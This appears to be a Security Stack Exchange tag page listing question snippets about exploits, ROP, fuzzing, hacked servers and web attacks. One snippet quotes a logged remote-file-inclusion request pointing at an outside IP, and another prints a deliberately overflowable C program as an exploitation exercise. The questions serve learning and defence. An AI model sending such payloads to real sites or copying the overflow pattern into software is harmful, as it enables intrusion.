Tagged Questions

The data, tools, and procedures which, when applied to a specific vulnerability, predictably violate the security design of a system.

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1
vote
2answers
309 views

Bridge Exploit of Network Multi-function Print/Fax Devices

I performed a recent security audit and was wondering if anyone has heard or run across any known exploits against any commercial multi-function print/scan device whereby you can bridge the incoming ...
2
votes
2answers
199 views

Identify code being run on website

I do not normally deal with internet security problems but this one has got me interested. The issue is with a specific site, lets say example.com, and how it it visited. If the address is typed ...
4
votes
2answers
321 views

Vulnerability testing without the use of exploits?

I was doing some testing on a server to see if it was vulnerable to a 0-day local exploit (the exploit was for gaining root privileges using a bug in the Linux kernel). There was no real information ...
1
vote
2answers
201 views

ROP Gadgets from executables?

I noticed that exploits which use Return Oriented Programming always find the gadgets in libraries. I wonder if it is possible to use gadgets from the executable (.exe) itself?
10
votes
1answer
594 views

Help in understanding an application's crash - exploitable?

Being new to researching vulnerabilities in native applications (as opposed to web apps), I'm having difficulties understanding a crash in Debian's browser, Epiphany (version 2.30.6), and determining ...
-4
votes
1answer
126 views

Breaking into your own systems [closed]

So as security professionals, most are overly paranoid about external hackers, leaks, etc. I'm looking for ideas on how one would go about testing their own systems, without signs that they were ...
5
votes
1answer
3k views

.JPEG File upload shell via EXIF comments

I came across this advisory recently and I'm a bit confused by both exploits, but specifically the file upload vulnerability. I don't understand how to actually exploit this condition (or even why ...
7
votes
1answer
798 views

A practical .NET Remoting Architecture exploit

If you were to demonstrate a .NET Remoting Architecture vulnerability with a practical attack, which one would you choose? I've read J. Forshaw's white paper on Breaking .NET Through Serialization ...
3
votes
3answers
1k views

What's a good fuzzing framework for fuzzing a local standalone application?

I have been looking for guides and tutorials about how to fuzz and so far everything I have seen has been for web servers. If I wanted to fuzz something along the lines of calc.exe or a program that ...
3
votes
2answers
658 views

How can JavaScript be tampered with while viewing a web page?

I often hear about how client side JavaScript can't be relied on because it can easily be changed. How exactly can it be changed, what program would be used to modify the JavaScript before a page ...
1
vote
0answers
705 views

Automatic router admin password change [closed]

I feel that this is definitely a hack of some sort and an interesting one. I am using a Beetel 450TC1 ADSL2+ modem router and here is what I face: * First, I disconnect the telephone line from the ...
16
votes
3answers
3k views

What is the difference between Exploit and Payload?

In computer security, we know that weak points in software are called vulnerabilities (if related to security). And once the vulnerability is found, theoretically it requires a piece of code as proof ...
4
votes
1answer
345 views

Exploited by newbie3viLc063s

My debian server got exploited by some scriptiekiddie who used Newbie3viLc063 http://pastebin.com/jma8JRG1 . Scriptkiddie uploaded logo_php.png to my server (My permissions sucked :s) and he did run ...
20
votes
2answers
733 views

Aviation security - Lessons to learn from PlaneSploit

A somewhat related question has already been asked (What would one need to do in order to hijack a satellite?), only at a more abstract level. Now we have a presentation by Hugo Teso from n.runs AG ...
5
votes
2answers
645 views

Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
7
votes
2answers
9k views

SQL Injection: Drop All Tables

I used some vulnerability scanners to check a site of mine, and an instance of blind SQL injection was returned. However, when I try to exploit this vulnerability by entering the following into the ...
4
votes
3answers
434 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
13
votes
2answers
612 views

Getting exploit reliability when using the off by one framepointer overwrite on linux

We have a program that is vulnerable to a one byte frame pointer overwrite. The stack is marked executable, the Linux machine has aslr disabled, stack cookies are disabled, and it's a little endian ...
1
vote
1answer
230 views

Following redirects from HTTPS to HTTP - Secure?

So I have an HTTP client which supports HTTPS. However, it doesn't follow the HTTP spec recommendation for redirects on POST(which is to ask the user before redirecting) This means, in theory, if you ...
4
votes
1answer
576 views

Is this fprintf statement potentially vulnerable?

Here's the statement: fprintf(stderr, "Some random string\n"). Is it okay not to have a format specifier, such as %s, even though the statement doesn't take any user input? Is it still potentially ...
1
vote
2answers
194 views

Is this Scenario Exploitable?

Here is the scenario: You get to overwrite 4 (consecutive) Bytes of a Userland Remote Process in Linux without Exploit Mitigation and without the ability to inject any Shellcode and you know the ...
16
votes
4answers
1k views

What is the easiest way to search massive, leaked databases for persons and personal information?

This may seem like a rather nefarious question, however, my motivations are quite the opposite-- I want to know how at risk I might be! A while ago a very MASSIVE database was leaked that contained ...
2
votes
1answer
727 views

Can exploit vulnerability if program started with gdb, but segfaults if started without gdb

i'm currently trying to exploit a simple program called basic_vuln.c #include <stdio.h> int main(int argc, char** argv) { char buf[64]; strcpy(buf, argv[1]); } I'm using xubuntu ...
3
votes
3answers
253 views

Resources for building a network security curriculum

I am currently helping my teacher create a curriculum around IT Security because it isn't currently implemented. Some previous question had decent responses but I was wondering if there was more. My ...
1
vote
2answers
441 views

Spike in TCP port 5904 activity - what for?

There is an 'Internet Weather Report' on the Threat!Traq video blog by AT&T security researchers. In the March 14th broadcast, at around 31 minutes in, they mention an increase of scanning ...
2
votes
0answers
338 views

What is SPL exploit? [closed]

I recently worked on a web project that uses Javascript and PHP to load its content from flickr API. I kept on getting this image show up and disappear immediately during first 2 or 3 seconds of the ...
2
votes
2answers
632 views

how to bypass “header” in php

While reading an article I encounter an interesting thing I did not know about: if(!isset($_SESSION['usr_id']) || !isset($_SESSION['usr_name'])) { header('Location: index.php'); } ...Which ...
3
votes
1answer
321 views

Why is a separate reconnaissance server needed for DNS cache poisoning?

I'm trying to understand how Metasploit's DNS BailiWicked Host Attack module works. One of the required module options is a "reconnaissance" nameserver (option RECONS). What I understand from the ...
1
vote
1answer
481 views

Win server 2003 sp2 'local' Privilege escalation via thin client

Just asking if there is any known exploit that allows a client connected a win server 2003 sp2 x64 via SunRay thin-client to infiltrate (or preform a local privilege escalation on) the server. The ...
1
vote
1answer
214 views

Compromised server with psyBNC - what are our next steps?

One of our VPS servers has an install of psybnc on it. The install has been present for quite some time, and has now been brought to our attention. We have backups, but they also have psybnc on them. ...
1
vote
5answers
795 views

Site backdoor & eval()

I'm running a Joomla 1.7 site which was hacked today. Below script did the hack. ...
4
votes
4answers
1k views

Database hardening techniques

So as I understand it database hardening is a process in which you remove the vulnerabilities that result from lax con-figuration options. This can sometimes compensate for exploitable vendor bugs. ...
0
votes
1answer
138 views

Did I get hit by the recent Java exploit?

Looks like the website iphonedevsdk was responsible for serving up the malware that's been causing some of the recent security exploits. According to my browser history, I visited that site back in ...
31
votes
7answers
2k views

Is there a difference between GET and POST for web application security?

I have 2 choices in sending data between 2 web applications. I encode the data in Base64 and append to the URL and retrieve these parameters at my destination application and decode the parameters. ...
3
votes
5answers
2k views

Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
1
vote
4answers
1k views

My website has been hacked, what do i do next? [closed]

So. I couldn't see any other question like this on Sec.Se so i thought i'd ask. My public website www.foo.com has been hacked. The front page is sending it to be redirected to seoblog.fooblog.com in ...
5
votes
2answers
1k views

What security standards and regulations are in place for bank ATM?

Are there any international or US mandated standards and regulations that apply to communications between automatic teller machines and bank's central office? Are banks or ATM operators subjected to ...
0
votes
2answers
2k views

Msf and exploitdb on Backtrack 5

Metasploit (msf) doesn't see exploits from exploitdb. I've just updated directory on my Backtrack cd /pentest/exploits/exploitdb svn update How can I load them now into msf? When i use a script ...
4
votes
2answers
740 views

ASLR and how a program can actually call its functions

I'm studying protection techniques and I've got a doubt about how ASLR works for a program in a Windows environment. As far as I know ASLR works by randomizing part of the imagebase address when ...
5
votes
4answers
1k views

Setting up a security CTF server

I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges. To sum it all up in a simple one-sentence question: How do you set up a server ...
1
vote
6answers
6k views

Use PHP to check uploaded image file for malware?

I want my users to be able to upload a photo. Currently I am not checking the uploaded photo for problems of any kind, although I do limit the size to 32k. Is there any way for me to check uploaded ...
4
votes
2answers
1k views

What exploit types do I need to protect against in PHP?

I recently learned that apparently, it is common for people to attempt SQL injections using the HTTP referrer in PHP. What other inputs do I need to protect against? I am currently "cleaning up" ...
6
votes
2answers
235 views

Example of malware in the wild?

I'd like to test an application that detects malware on my network. In order to do that, I have a Windows VM set up that I'd like to infect with malware. But for the life of me, I can't seem to find ...
7
votes
3answers
542 views

Risk Control - Ignored risks and accepted risks

Some say that ignored risks as part of an organization's behavior are much worse than accepted risks. I would like to test that axiom (in the eyes of some). When I am handling a risk and I choose to ...
4
votes
1answer
517 views

ROP Exploitation on ARM

I was wondering about since, Ret2Libc attack doesn't works on ARM, and we have to rely on ROP for that. How different is ROP on ARM from the x86 architecture. Are there any tools, such as mona.py ...
3
votes
2answers
515 views

How was pentest performed in the era with no frameworks like Metasploit?

I have been interested in security lately, I have been reading mainly cookbooks on Metasploit framework, how social engineering has been employed exhaustively, I have started reading some IA-32 ...
0
votes
1answer
121 views

Manually monitoring your PC for Java (Oracle) exploits?

Sandboxing and AV's aside, if I wanted to manually look at/monitor my system for where they usually enter it, where could I look for possible malicious Java viruses/activity, e.g., would they first ...
3
votes
1answer
249 views

How did the Tumblr worm spread?

Recently Tumblr was hit by a fast-spreading worm. How did the worm work? What was the vulnerability in Tumblr that it exploired? Did it exploit a XSS vulnerability in Tumblr? A CSRF vulnerability ...
9
votes
4answers
260 views

What to do about companies that refuse to fix their security vulnerabilities

While writing software for an application platform developed by a third party company, I came across a security vulnerability in the framework's code that could allow unprivileged code to perform ...
3
votes
1answer
270 views

Can TLS Compression be enabled on 3rd party CDN sites that have no authentication?

In this answer, @Thomas Pornin talks about remediating the CRIME attack and says: (It is a shame to have to remove SSL compression, because it is very useful to lower bandwidth requirements, ...